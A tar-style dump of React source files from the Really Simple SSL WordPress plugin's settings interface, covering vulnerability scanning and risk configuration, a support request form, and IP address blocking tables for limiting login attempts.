            updateFieldAttribute('vulnerability_notification_sitewide', 'disabled', dashboardRiskLevels);
            //if the current value is below the dashboardRisk Level, set it to the dashboardRiskLevel
            let siteWideRiskLevel = getFieldValue('vulnerability_notification_sitewide');
            siteWideRiskLevel = riskLevels.hasOwnProperty(siteWideRiskLevel) ? riskLevels[siteWideRiskLevel] : 0;
            if (siteWideRiskLevel<dashboardRiskLevel) {
                let newRiskLevel = Object.keys(riskLevels).find(key => riskLevels[key] === dashboardRiskLevel  );
                updateField('vulnerability_notification_sitewide', newRiskLevel);
                setChangedField('vulnerability_notification_sitewide', newRiskLevel);
            }
        } else {
            updateFieldAttribute('vulnerability_notification_sitewide', 'disabled', false);
        }
    },[getFieldValue('vulnerability_notification_dashboard')])

    let fieldCopy = {...field};
    if (!mailNotificationsEnabled) {
        fieldCopy.tooltip = __('You have not enabled the email notifications in the general settings.','really-simple-ssl');
        fieldCopy.warning = true;
    } else if (vulnerabilitiesEnabled && !vulnerabilitiesSaved) {
        fieldCopy.tooltip = __('The notification test only works if you save the setting first.','really-simple-ssl');
        fieldCopy.warning = true;
    }
    return (
        <>
            <label>{props.labelWrap(fieldCopy)}</label>
            <button onClick={ () => doTestNotification()} disabled={ disabled } className="button button-default">{field.button_text}</button>
        </>
    )
}

export default NotificationTesterreally-simple-ssl/settings/src/Settings/RiskConfiguration/modal.scss000064400000000113147510273070022003 0ustar00.rsssl-modal.rsssl-vulnerabilities-modal{
  ul {
    column-count: 1;
  }
}really-simple-ssl/settings/src/Settings/RiskConfiguration/RunnerData.js000064400000003216147510273070022422 0ustar00import {create} from "zustand";
import {produce} from "immer";
import {__} from "@wordpress/i18n";

const useRunnerData = create((set, get) => ({
    showIntro:false,
    setShowIntro: (value) => set({showIntro: value}),
    disabled:true,
    introCompleted: false, //for storing the status of the first run
    setIntroCompleted: (value) => {
        set({introCompleted: value});
    },
    setDisabled(disabled) {
        set(state => ({disabled}))
    },
    list:[
        {
            'id':'initialize',
            'icon':'loading',
            'color':'black',
            'text': __("Preparing vulnerability detection", "really-simple-ssl"),
        },
        {
            'id':'fetchVulnerabilities',
            'icon':'loading',
            'color':'black',
            'text': __("Collecting plugin, theme and core data", "really-simple-ssl"),
        },
        {
            'id':'scan',
            'icon':'loading',
            'color':'black',
            'text': __("Scanning your WordPress configuration", "really-simple-ssl"),
        },
        {
            'id':'enabled',
            'icon':'loading',
            'color':'black',
            'text': __("Reporting enabled", "really-simple-ssl"),
        },
    ],
    setItemCompleted: async (id) => {
        const stepIndex = get().list.findIndex(item => {
            return item.id===id;
        });
        set(
            produce((state) => {
                const item = state.list[stepIndex];
                item.icon = 'circle-check';
                item.color = 'green';
                state.list[stepIndex] = item;
            })
        )
    },

}));

export default useRunnerData;really-simple-ssl/settings/src/Settings/RiskConfiguration/RiskData.js000064400000017613147510273070022067 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";
import {produce} from "immer";
import React from "react";
import {addUrlRef} from "../../utils/AddUrlRef";

const UseRiskData = create((set, get) => ({

    dummyRiskData: [
        {id:'force_update',name:'Force Update',value:'l',description:__('Force update the plugin or theme','really-simple-ssl')},
        {id:'quarantine',name:'Quarantine',value:'m',description:__('Isolates the plugin or theme if no update can be performed','really-simple-ssl')},
    ],
    riskData:[],
    riskLevels: {
        l: 1,
        m: 2,
        h: 3,
        c: 4,
    },
    vulnerabilities: [],
    processing:false,
    dataLoaded: false,
    // Stuff we need for the WPVulData component
    updates: 0, //for letting the component know if there are updates available
    HighestRisk: false, //for storing the highest risk
    lastChecked: '', //for storing the last time the data was checked
    vulEnabled: false, //for storing the status of the vulnerability scan
    riskNaming: {}, //for storing the risk naming
    vulList: [], //for storing the list of vulnerabilities
    setDataLoaded: (value) => set({dataLoaded: value}),
    //update Risk Data
    updateRiskData: async (field, value) => {
        if (get().processing) return;
        set({processing:true});

        set(
            produce((state) => {
                let index = state.riskData.findIndex((item) => item.id === field);
                state.riskData[index].value = value;
                state.riskData = get().enforceCascadingRiskLevels(state.riskData);
            })
        );
        try {
            await rsssl_api.doAction('vulnerabilities_measures_set', {
                riskData: get().riskData,
            });

            set({dataLoaded: true, processing:false});
        } catch (e) {
            console.log(e);
        }
        set({processing:false})
    },
    enforceCascadingRiskLevels: (data) => {
        if (data.length===0) return data;
        //get risk levels for force_update
        let forceUpdateRiskLevel = data.filter((item) => item.id==='force_update')[0].value;
        let quarantineRiskLevel = data.filter((item) => item.id==='quarantine')[0].value;

        //get the integer value of the risk level
        forceUpdateRiskLevel = get().riskLevels.hasOwnProperty(forceUpdateRiskLevel) ? get().riskLevels[forceUpdateRiskLevel] : 5;
        quarantineRiskLevel = get().riskLevels.hasOwnProperty(quarantineRiskLevel) ? get().riskLevels[quarantineRiskLevel] : 5;
        let quarantineIndex = data.findIndex((item) => item.id==='quarantine');
        //if the quarantine risk level is lower than the force update risk level, we set it to the force update risk level
        if (quarantineRiskLevel<forceUpdateRiskLevel) {
            data[quarantineIndex].value = Object.keys(get().riskLevels).find(key => get().riskLevels[key] === forceUpdateRiskLevel);
        }
        //if the force update risk level is none, set quarantine also to none.
        if ( forceUpdateRiskLevel===5 ) {
            data[quarantineIndex].value = '*';
        }

        //disable all values below this value
        let disableUpTo = forceUpdateRiskLevel>0 ? forceUpdateRiskLevel : 0
        //create an array of integers up to the forceUpdateRiskLevel
        let disabledRiskLevels =  Array.from(Array(disableUpTo).keys()).map(x => x);
        disabledRiskLevels = disabledRiskLevels.map( (level) => {
            return Object.keys(get().riskLevels).find(key => get().riskLevels[key] === level  );
        });
        data[quarantineIndex].disabledRiskLevels = disabledRiskLevels;
        return data;
    },
    fetchFirstRun: async () => {
        if (get().processing) return;
        set({processing:true});
        await rsssl_api.doAction('vulnerabilities_scan_files');
        set({processing:false});
    },

    /*
    * Functions
     */
    fetchVulnerabilities: async () => {
        if (get().processing) return;
        set({processing:true});
        let data = {};
        try {
            const fetched = await rsssl_api.doAction('hardening_data', data);
            let vulList = [];
            let vulnerabilities = 0;
            if (fetched.data.vulList) {
                vulnerabilities = fetched.data.vulnerabilities;
                vulList = fetched.data.vulList;
                if (typeof vulList === 'object') {
                    //we make it an array
                    vulList = Object.values(vulList);
                }
                vulList.forEach(function (item, i) {
                    let updateUrl = item.update_available ? rsssl_settings.plugins_url + "?plugin_status=upgrade" : '#settings/vulnerabilities';
                    item.vulnerability_action = <div className="rsssl-action-buttons">
                        <a className="rsssl-button button-secondary"
                            href={addUrlRef("https://really-simple-ssl.com/vulnerability/" + item.rss_identifier)}
                           target={"_blank"}  rel="noopener noreferrer">{__("Details", "really-simple-ssl")}</a>
                        <a disabled={!item.update_available} href={updateUrl}
                           className="rsssl-button button-primary"
                        >{__("Update", "really-simple-ssl")}</a>
                    </div>
                });
            }
            let riskData = fetched.data.riskData;
            if (!Array.isArray(riskData)) {riskData = []}
            riskData = get().enforceCascadingRiskLevels(riskData);
            set(
                produce((state) => {
                    state.vulnerabilities = vulnerabilities;
                    state.vulList = vulList;
                    state.updates = fetched.data.updates;
                    state.dataLoaded = true;
                    state.riskNaming = fetched.data.riskNaming;
                    state.lastChecked = fetched.data.lastChecked;
                    state.vulEnabled = fetched.data.vulEnabled;
                    state.riskData = riskData;
                    state.processing = false;
                })
            )
        } catch (e) {
            console.error(e);
        }
    },

    vulnerabilityCount: () => {
        let vuls = get().vulList;
        //we group the data by risk level
        //first we make vuls an array
        let vulsArray = [];
        Object.keys(vuls).forEach(function (key) {
            vulsArray.push(vuls[key]);
        });
        let riskLevels = ['c', 'h', 'm', 'l'];
        //we count the amount of vulnerabilities per risk level
        return riskLevels.map(function (level) {
            return {
                level: level,
                count: vulsArray.filter(function (vul) {
                    return vul.risk_level === level;
                }).length
            };
        });
    },

    vulnerabilityScore: () => {
        let score = 0;
        let vulnerabilitiesList = get().vulList;

        Object.keys(vulnerabilitiesList).forEach(function (key) {
            //if there are vulnerabilities with critical severity, score is 5
            if (vulnerabilitiesList[key].risk_level === 'c') {
                score = 5;
            } else if (score < 1) {
                score = 1;
            }
        });
        return score;
    },

    hardeningScore: () => {
        let score = 0;
        let vulnerabilitiesList = get().vulnerabilities;
        for (let i = 0; i < vulnerabilitiesList.length; i++) {
            score += vulnerabilitiesList[i].hardening_score;
        }
        return score;
    },

    activateVulnerabilityScanner: async () => {
        try {
            const fetched = await rsssl_api.doAction('rsssl_scan_files');
            if (fetched.request_success) {
                //we get the data again
                await get().fetchVulnerabilities();
            }

        } catch (e) {
            console.error(e);
        }
    }
}));

export default UseRiskData;
really-simple-ssl/settings/src/Settings/RiskConfiguration/VulnerabilitiesOverview.js000064400000014230147510273070025245 0ustar00import {__} from '@wordpress/i18n';
import useRiskData from "./RiskData";
import {useEffect, useState} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import useFields from "../FieldsData";
import useProgress from "../../Dashboard/Progress/ProgressData";
import useRunnerData from "./RunnerData";
import './datatable.scss';

const VulnerabilitiesOverview = (props) => {
    const {getProgressData} = useProgress();
    const [enabled, setEnabled] = useState(false);

    const {
        dataLoaded,
        vulList,
        fetchVulnerabilities,
        setDataLoaded,
        fetchFirstRun
    } = useRiskData();
    const {getFieldValue, handleNextButtonDisabled, fieldAlreadyEnabled, fieldsLoaded} = useFields();
    const [searchTerm, setSearchTerm] = useState("");
    //we create the columns
    let columns = [];
    //getting the fields from the props
    let field = props.field;
    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };
    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    function buildColumn(column) {
        return {
            name: column.name,
            sortable: column.sortable,
            visible: column.visible,
            selector: row => row[column.column],
            searchable: column.searchable,
            grow:column.grow,
            width: column.width,
        };
    }

    useEffect(() => {
        if (!fieldsLoaded) return;
        setEnabled(getFieldValue('enable_vulnerability_scanner') == 1);
    }, [getFieldValue('enable_vulnerability_scanner')])

    let dummyData = [['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', '']];
    field.columns.forEach(function (item, i) {
        let newItem = buildColumn(item)
        columns.push(newItem);
    });

    //get data if field was already enabled, so not changed right now.
    useEffect(() => {
        let vulnerabilityDetectionEnabledAndSaved = fieldAlreadyEnabled('enable_vulnerability_scanner');

        // let introShown = getFieldValue('vulnerabilities_intro_shown') == 1;
        if ( !vulnerabilityDetectionEnabledAndSaved ) {
            return;
        }
        setDataLoaded(false);

    }, [ getFieldValue('enable_vulnerability_scanner') ]);

    useEffect(() => {
        if ( dataLoaded ) {
            return;
        }

        let vulnerabilityDetectionEnabledAndSaved = fieldAlreadyEnabled('enable_vulnerability_scanner');
        if ( vulnerabilityDetectionEnabledAndSaved ) {
            //if just enabled, but intro already shown, just get the first run data.
            initialize();
        }

    }, [ dataLoaded ]);

    const initialize = async () => {
        await fetchFirstRun();
        await fetchVulnerabilities();
        await getProgressData();
    }

    let data = vulList.map(item => ({
        ...item,
        risk_name: <span className={"rsssl-badge-large rsp-risk-level-" + item.risk_level}>
        {/* Convert the first character to uppercase and append the rest of the string */}
            {item.risk_name.charAt(0).toUpperCase() + item.risk_name.slice(1).replace('-risk', '')}
    </span>
    }));
    if (searchTerm.length > 0) {
        data = data.filter(function (item) {
            //we check if the search value is in the name or the risk name
            if (item.Name.toLowerCase().includes(searchTerm.toLowerCase())) {
                return item;
            }
        });
    }

    return (
        <div style={{marginTop: '5px'}}>
            {!enabled ? (
                <>
                    <DataTable
                        columns={columns}
                        data={dummyData}
                        dense
                        pagination
                        noDataComponent={__("No results", "really-simple-ssl")}
                        persistTableHead
                        theme="really-simple-plugins"
                        customStyles={customStyles}
                    />
                    <div className="rsssl-locked">
                        <div className="rsssl-locked-overlay">
                            <span className="rsssl-task-status rsssl-open">
                                {__('Disabled', 'really-simple-ssl')}
                            </span>
                            <span>
                                {__('Activate vulnerability detection to enable this block.', 'really-simple-ssl')}
                            </span>
                        </div>
                    </div>
                </>
            ) : (
                <>
                    <div className="rsssl-container">
                        <div className="rsssl-search-bar">
                            <div className="rsssl-search-bar__inner">
                                <div className="rsssl-search-bar__icon"></div>
                                <input
                                    type="text"
                                    className="rsssl-search-bar__input"
                                    placeholder={__("Search", "really-simple-ssl")}
                                    onKeyUp={event => {
                                        setSearchTerm(event.target.value);
                                    }}
                                />
                            </div>
                        </div>
                    </div>
                    <DataTable
                        columns={columns}
                        data={data}
                        dense
                        pagination
                        persistTableHead
                        noDataComponent={__("No vulnerabilities found", "really-simple-ssl")}
                        theme="really-simple-plugins"
                        customStyles={customStyles}
                    />
                </>
            )}
        </div>
    );

}

export default VulnerabilitiesOverview;
really-simple-ssl/settings/src/Settings/RiskConfiguration/RiskComponent.js000064400000007373147510273070023162 0ustar00import {useEffect,useState} from '@wordpress/element';
import UseRiskData from "./RiskData";
import useFields from "../FieldsData";
import {__} from "@wordpress/i18n";

const RiskComponent = (props) => {
    //first we put the data in a state
    const {riskData, dummyRiskData, processing, dataLoaded, fetchVulnerabilities, updateRiskData} = UseRiskData();
    const { fields, fieldAlreadyEnabled, getFieldValue, setChangedField, updateField, saveFields} = useFields();
    const [measuresEnabled, setMeasuresEnabled] = useState(false);
    const [vulnerabilityDetectionEnabled, setVulnerabilityDetectionEnabled] = useState(false);
    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);
    useEffect( () => {
        import('react-data-table-component').then(({ default: DataTable, createTheme }) => {
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });

    }, []);

    useEffect(() => {
        if ( fieldAlreadyEnabled('enable_vulnerability_scanner')) {
            if (!dataLoaded) {
                fetchVulnerabilities();
            }
        }
        let vulnerabilitiesEnabled = fieldAlreadyEnabled('enable_vulnerability_scanner' );
        setVulnerabilityDetectionEnabled(vulnerabilitiesEnabled);
        let measuresOn = getFieldValue('measures_enabled')==1;
        setMeasuresEnabled(measuresOn);
    }, [fields]);

    /**
     * Initialize
     */

    useEffect(() => {
        let enabled = getFieldValue('measures_enabled')==1;
        setMeasuresEnabled(enabled);
    }, [] );

    //we create the columns
    let columns = [];
    //getting the fields from the props
    let field = props.field;
    //we loop through the fields
    field.columns.forEach(function (item, i) {
        let newItem = buildColumn(item)
        columns.push(newItem);
    });

    //now we get the options for the select control
    let options = props.field.options;
    //we divide the key into label and the value into value
    options = Object.entries(options).map((item) => {
        return {label: item[1], value: item[0]};
    });

    //and we add the select control to the data
    let data = Array.isArray(riskData) ? [...riskData] : [];
    data = data.length===0 ? [...dummyRiskData] : data;
    let disabled = !vulnerabilityDetectionEnabled || !measuresEnabled;
    for (const key in data) {
        let dataItem = {...data[key]}
        dataItem.riskSelection = <select disabled={processing || disabled} value={dataItem.value} onChange={(e) => onChangeHandler(e.target.value, dataItem)}>
            {options.map((option,i) => <option key={'risk-'+i} value={option.value} disabled={ dataItem.disabledRiskLevels &&  dataItem.disabledRiskLevels.includes(option.value)} >{option.label}</option>) }
        </select>
        data[key] = dataItem;
    }
    let processingClass = disabled ? 'rsssl-processing' : '';

    return (
        <div>
            {DataTable && <DataTable
                columns={columns}
                data={Object.values(data)}
                dense
                pagination={false}
                persistTableHead
                noDataComponent={__("No vulnerabilities found", "really-simple-ssl")}
                theme={theme}
            /> }
        </div>
    )

    function buildColumn(column) {
        return {
            name: column.name,
            sortable: column.sortable,
            width: column.width,
            selector: row => row[column.column],
            grow: column.grow,
        };
    }

    function onChangeHandler(fieldValue, item) {
         updateRiskData(item.id, fieldValue);
    }

}

export default RiskComponent;
really-simple-ssl/settings/src/Settings/SelectControl.js000064400000002616147510273070017502 0ustar00/*
* The native selectControl doesn't allow disabling per option.
*/

import DOMPurify from "dompurify";

const SelectControl = (props) => {
    let field = props.field;
    let selectDisabled = !Array.isArray(props.disabled) && props.disabled;
    let optionsDisabled = Array.isArray(props.disabled) ? props.disabled : false;
    return (
        <>
            <div className="components-base-control">
                <div className="components-base-control__field">
                    <div data-wp-component="HStack" className="components-flex components-select-control">
                        <label htmlFor={field.id} className="components-toggle-control__label">{props.label}</label>
                        <select disabled={selectDisabled} value={props.value} onChange={(e) => props.onChangeHandler(e.target.value)}>
                            {props.options.map((option,i) => <option key={'option-'+i} value={option.value} disabled={optionsDisabled && optionsDisabled.includes(option.value)}>{option.label}</option>) }
                        </select>
                    </div>
                </div>
            </div>
            {field.comment && (
                <div className="rsssl-comment" dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(field.comment) }} ></div>
                /* nosemgrep: react-dangerouslysetinnerhtml */
            )}
        </>
    );
}
export default SelectControlreally-simple-ssl/settings/src/Settings/Support.js000064400000003627147510273070016401 0ustar00import {TextareaControl,} from '@wordpress/components';
import {__} from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import {useState} from "@wordpress/element";
import {addUrlRef} from "../utils/AddUrlRef";

const Support = () => {
    const [message, setMessage] = useState('');
    const [sending, setSending] = useState(false);

    const onChangeHandler = (message) => {
        setMessage(message);
    }

    const onClickHandler = () => {
        setSending(true);
        return rsssl_api.runTest('supportData', 'refresh').then( ( response ) => {
            let encodedMessage = message.replace(/(?:\r\n|\r|\n)/g, '--br--');
            let url = 'https://really-simple-ssl.com/support'
            +'?customername=' + encodeURIComponent(response.customer_name)
            + '&email=' + response.email
            + '&domain=' + response.domain
            + '&scanresults=' + encodeURIComponent(response.scan_results)
            + '&licensekey=' + encodeURIComponent(response.license_key)
            + '&supportrequest=' + encodeURIComponent(encodedMessage)
            + '&htaccesscontents=' + encodeURIComponent(response.htaccess_contents)
            + '&debuglog=' + encodeURIComponent(response.system_status);
            url = addUrlRef(url);
            window.location.assign(url);
        });
    }

    let disabled = sending || message.length===0;
    return (
        <>
            <TextareaControl
                    disabled={sending}
                    placeholder={__("Type your question here","really-simple-ssl")}
                    onChange={ ( message ) => onChangeHandler(message) }
            />
            <button
                className={"button button-secondary"}
                disabled={disabled}
                onClick={ ( e ) => onClickHandler(e) }>
                { __( 'Send', 'really-simple-ssl' ) }
            </button>
        </>
    );

}

export default Support;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js000064400000026462147510273070024200 0ustar00import {__} from '@wordpress/i18n';
import {useEffect, useState, useCallback} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import IpAddressDataTableStore from "./IpAddressDataTableStore";
import EventLogDataTableStore from "../EventLog/EventLogDataTableStore";
import FilterData from "../FilterData";
import Flag from "../../utils/Flag/Flag";
import AddIpAddressModal from "./AddIpAddressModal";
import useFields from "../FieldsData";
import FieldsData from "../FieldsData";
import SearchBar from "../DynamicDataTable/SearchBar";
import AddButton from "../DynamicDataTable/AddButton";

const IpAddressDatatable = (props) => {
    const {
        IpDataTable,
        dataLoaded,
        dataActions,
        handleIpTableRowsChange,
        fetchData,
        handleIpTableSort,
        handleIpTablePageChange,
        handleIpTableSearch,
        handleIpTableFilter,
        ipAddress,
        updateRow,
        pagination,
        resetRow,
        resetMultiRow,
        setStatusSelected,
        rowCleared,
        processing
    } = IpAddressDataTableStore()

    const {
        fetchDynamicData,
    } = EventLogDataTableStore();

    //here we set the selectedFilter from the Settings group
    const {
        setSelectedFilter,
        getCurrentFilter,
        setProcessingFilter,
    } = FilterData();

    const [addingIpAddress, setAddingIpAddress] = useState(false);
    const [rowsSelected, setRowsSelected] = useState([]);
    const {fieldAlreadyEnabled, getFieldValue} = useFields();
    const {showSavedSettingsNotice} = FieldsData();
    const [tableHeight, setTableHeight] = useState(600);  // Starting height
    const rowHeight = 50; // Height of each row.

    const moduleName = 'rsssl-group-filter-limit_login_attempts_ip_address';

    const buildColumn = useCallback((column) => ({
        name: column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    }), []);
    //getting the fields from the props
    let field = props.field;
    //we loop through the fields
    const columns = field.columns.map(buildColumn);


    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);
        if (!currentFilter) {
            setSelectedFilter('locked', moduleName);
        }
        setProcessingFilter(processing);
        handleIpTableFilter('status', currentFilter);
    }, [moduleName, handleIpTableFilter, getCurrentFilter(moduleName), setSelectedFilter, IpDataTable, processing]);

    useEffect(() => {
        setRowsSelected([]);
    }, [IpDataTable]);

    //if the dataActions are changed, we fetch the data
    useEffect(() => {
        //we make sure the dataActions are changed in the store before we fetch the data
        if (dataActions) {
            fetchData(field.action, dataActions);
        }
    }, [dataActions.sortDirection, dataActions.filterValue, dataActions.search, dataActions.page, dataActions.currentRowsPerPage, fieldAlreadyEnabled('enable_limited_login_attempts')]);


    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };
    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');


    let enabled = getFieldValue('enable_limited_login_attempts');

    const handleOpen = () => {
        setAddingIpAddress(true);
    };

    const handleClose = () => {
        setAddingIpAddress(false);
    };

    let searchableColumns = [];
    //setting the searchable columns
    columns.map(column => {
        if (column.searchable) {
            searchableColumns.push(column.column);
        }
    });

    //now we get the options for the select control
    let options = props.field.options;
    //we divide the key into label and the value into value
    options = Object.entries(options).map((item) => {
        return {label: item[1], value: item[0]};
    });


    function handleStatusChange(value, id) {
        //if the id is not 'new' we update the row
        if (id !== 'new') {
            updateRow(id, value);
        } else {
            //if the id is 'new' we set the statusSelected
            setStatusSelected(value);
        }
    }

    //we convert the data to an array
    let data = Object.values({...IpDataTable.data});
    const resetIpAddresses = useCallback(async (data) => {
        if (Array.isArray(data)) {
            const ids = data.map((item) => item.id);
            await resetMultiRow(ids, dataActions).then((response) => {
                if (response && response.success) {
                    showSavedSettingsNotice(response.message);
                } else {
                    showSavedSettingsNotice(response.message);
                }
            });
            setRowsSelected([]);
        } else {
            await resetRow(data, dataActions).then((response) => {
                if (response && response.success) {
                    showSavedSettingsNotice(response.message);
                } else {
                    showSavedSettingsNotice(response.message);
                }
            });
        }
        await fetchDynamicData('event_log')
    }, [resetMultiRow, resetRow, fetchDynamicData, dataActions]);

    const ActionButton = ({onClick, children, className}) => (
        <div className={`rsssl-action-buttons__inner`}>
            <button
                className={`button ${className} rsssl-action-buttons__button`}
                onClick={onClick}
                disabled={processing}
            >
                {children}
            </button>
        </div>
    );

    function generateActionbuttons(id) {
        return (
            <>
                <div className="rsssl-action-buttons">
                    <ActionButton
                        className="button-red"
                        onClick={() => {
                            resetIpAddresses(id);
                        }}>
                        {__("Delete", "really-simple-ssl")}
                    </ActionButton>
                </div>
            </>
        );
    }

    for (const key in data) {
        let dataItem = {...data[key]}

        dataItem.action = generateActionbuttons(dataItem.id);
        dataItem.status = __(dataItem.status = dataItem.status.charAt(0).toUpperCase() + dataItem.status.slice(1), 'really-simple-ssl');

        data[key] = dataItem;
    }

    function handleSelection(state) {
        setRowsSelected(state.selectedRows);
    }

    let paginationSet;
    paginationSet = typeof pagination !== 'undefined';

    useEffect(() => {
        if (Object.keys(data).length === 0 ) {
            setTableHeight(100); // Adjust depending on your UI measurements
        } else {
            setTableHeight(rowHeight * (paginationSet ? pagination.perPage + 2 : 12)); // Adjust depending on your UI measurements
        }

    }, [paginationSet, pagination?.perPage, data]);
    let debounceTimer;

    return (
        <>
            <AddIpAddressModal
                isOpen={addingIpAddress}
                onRequestClose={handleClose}
                options={options}
                value={ipAddress}
                status={getCurrentFilter(moduleName)}
                dataActions={dataActions}
            >
            </AddIpAddressModal>
            <div className="rsssl-container">
                {/*display the add button on left side*/}
                <AddButton
                    getCurrentFilter={getCurrentFilter}
                    moduleName={moduleName}
                    handleOpen={handleOpen}
                    processing={processing}
                    blockedText={__("Block IP Address", "really-simple-ssl")}
                    allowedText={__("Trust IP Address", "really-simple-ssl")}
                />

                {/*Display the search bar*/}
                <SearchBar
                    handleSearch={handleIpTableSearch}
                    searchableColumns={searchableColumns}
                />
            </div>

            { /*Display the action form what to do with the selected*/}
            {rowsSelected.length > 0 && (
                <div
                    style={{
                        marginTop: '1em',
                        marginBottom: '1em',
                    }}>
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}
                    >
                        <div>
                            {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                        </div>

                        <div className="rsssl-action-buttons">
                            <ActionButton
                                className="button-red"
                                onClick={() => {
                                    resetIpAddresses(rowsSelected);
                                }}
                            >
                                {__("Delete", "really-simple-ssl")}
                            </ActionButton>
                        </div>
                    </div>
                </div>
            )}

            {/*Display the datatable*/}
            <DataTable
                columns={columns}
                data={processing ? [] : data}
                dense
                paginationServer
                paginationTotalRows={paginationSet? pagination.totalRows: 10}
                paginationPerPage={paginationSet? pagination.perPage: 10}
                paginationDefaultPage={paginationSet?pagination.currentPage: 1}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),

                }}
                loading={dataLoaded}
                pagination={!processing}
                onChangeRowsPerPage={handleIpTableRowsChange}
                onChangePage={handleIpTablePageChange}
                sortServer={!processing}
                onSort={handleIpTableSort}
                paginationRowsPerPageOptions={[10, 25, 50, 100]}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                selectableRows={!processing}
                onSelectedRowsChange={handleSelection}
                clearSelectedRows={rowCleared}
                theme="really-simple-plugins"
                customStyles={customStyles}
            ></DataTable>
            {!enabled && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Limit login attempts to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </>
    );

}

export default IpAddressDatatable;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/IpAddressInput.js000064400000002443147510273070023407 0ustar00import {useState} from '@wordpress/element';
import {__} from "@wordpress/i18n";
import Icon from "../../utils/Icon";
import IpAddressDataTableStore from "./IpAddressDataTableStore";


/**
 * Visual aid for adding an IP address to the list of blocked IP addresses
 *
 * @param props
 * @returns {*}
 * @constructor
 */
const IpAddressInput = (props) => {

    const [value, setValue] = useState("");
    const [error, setError] = useState(false);
    const {maskError, setMaskError} = IpAddressDataTableStore();

    return (
        <>
        {props.label &&
            <label
                htmlFor={props.id}
                className="rsssl-label"
            >{props.label}</label>
        }
            <br></br>
            <div className="input-container">
                <input
                    type="text"
                    id={props.id}
                    name={props.name}
                    value={props.value}
                    className={`rsssl-input full ${maskError ? 'rsssl-error' : 'rsssl-success'}`}
                    onChange={props.onChange}
                />
            </div>
            {maskError && <span
                style={{color: 'red', marginLeft: '10px'}}>{__('Invalid ip address', 'really-simple-ssl')}</span>}
        </>
    )
}

export default IpAddressInput;really-simple-ssl/settings/src/Settings/LimitLoginAttempts/IpAddressDataTableStore.js000064400000033432147510273070025150 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {produce} from "immer";

const IpAddressDataTableStore = create((set, get) => ({

    processing: false,
    dataLoaded: false,
    ipAddress: '',
    highestIP: '',
    lowestIP: '',
    statusSelected: 'blocked',
    inputRangeValidated: false,
    cidr: '',
    ip_count: '',
    canSetCidr: false,
    ipRange: {},
    idSelected: '',
    pagination: {},
    dataActions: {},
    IpDataTable: [],
    maskError: false,
    rowCleared: false,


    setMaskError: (maskError) => {
        set({maskError});
    },

    /*
    * This function fetches the data from the server and fills the property IpDataTable
    * Note this function works with the DataTable class on serverside
     */
    fetchData: async (action, dataActions) => {
        set({processing: true});
        set({dataLoaded: false});
        set({rowCleared: true});
        //if the dataActions is empty we do nothing
        if (Object.keys(dataActions).length === 0) {
            return;
        }
        try {
            const response = await rsssl_api.doAction(
                action,
                dataActions
            );
            //now we set the EventLog
            if (response) {
                //if the response is empty we set the dummyData
                set({IpDataTable: response, dataLoaded: true, processing: false, pagination: response.pagination});
            }
        } catch (e) {
            console.log(e);
        } finally {
            set({processing: false});
            set({rowCleared: false});

        }
    },

    /*
    * This function handles the search, it is called from the search from it's parent class
     */
    handleIpTableSearch: async (search, searchColumns) => {
        //Add the search to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, search, searchColumns};
            })
        );
    },

    /*
    * This function handles the page change, it is called from the DataTable class
     */
    handleIpTablePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, page, pageSize};
            })
        );
    },

    /*
    * This function handles the rows change, it is called from the DataTable class
     */
    handleIpTableRowsChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
    },

    /*
    * This function handles the sort, it is called from the DataTable class
     */
    handleIpTableSort: async (column, sortDirection) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: column, sortDirection};
            })
        );
    },

    /*
    * This function handles the filter, it is called from the GroupSetting class
     */
    handleIpTableFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
    },

    /*
    * This function sets the ip address and is used by Cidr and IpAddressInput
     */
    setIpAddress: (ipAddress) => {
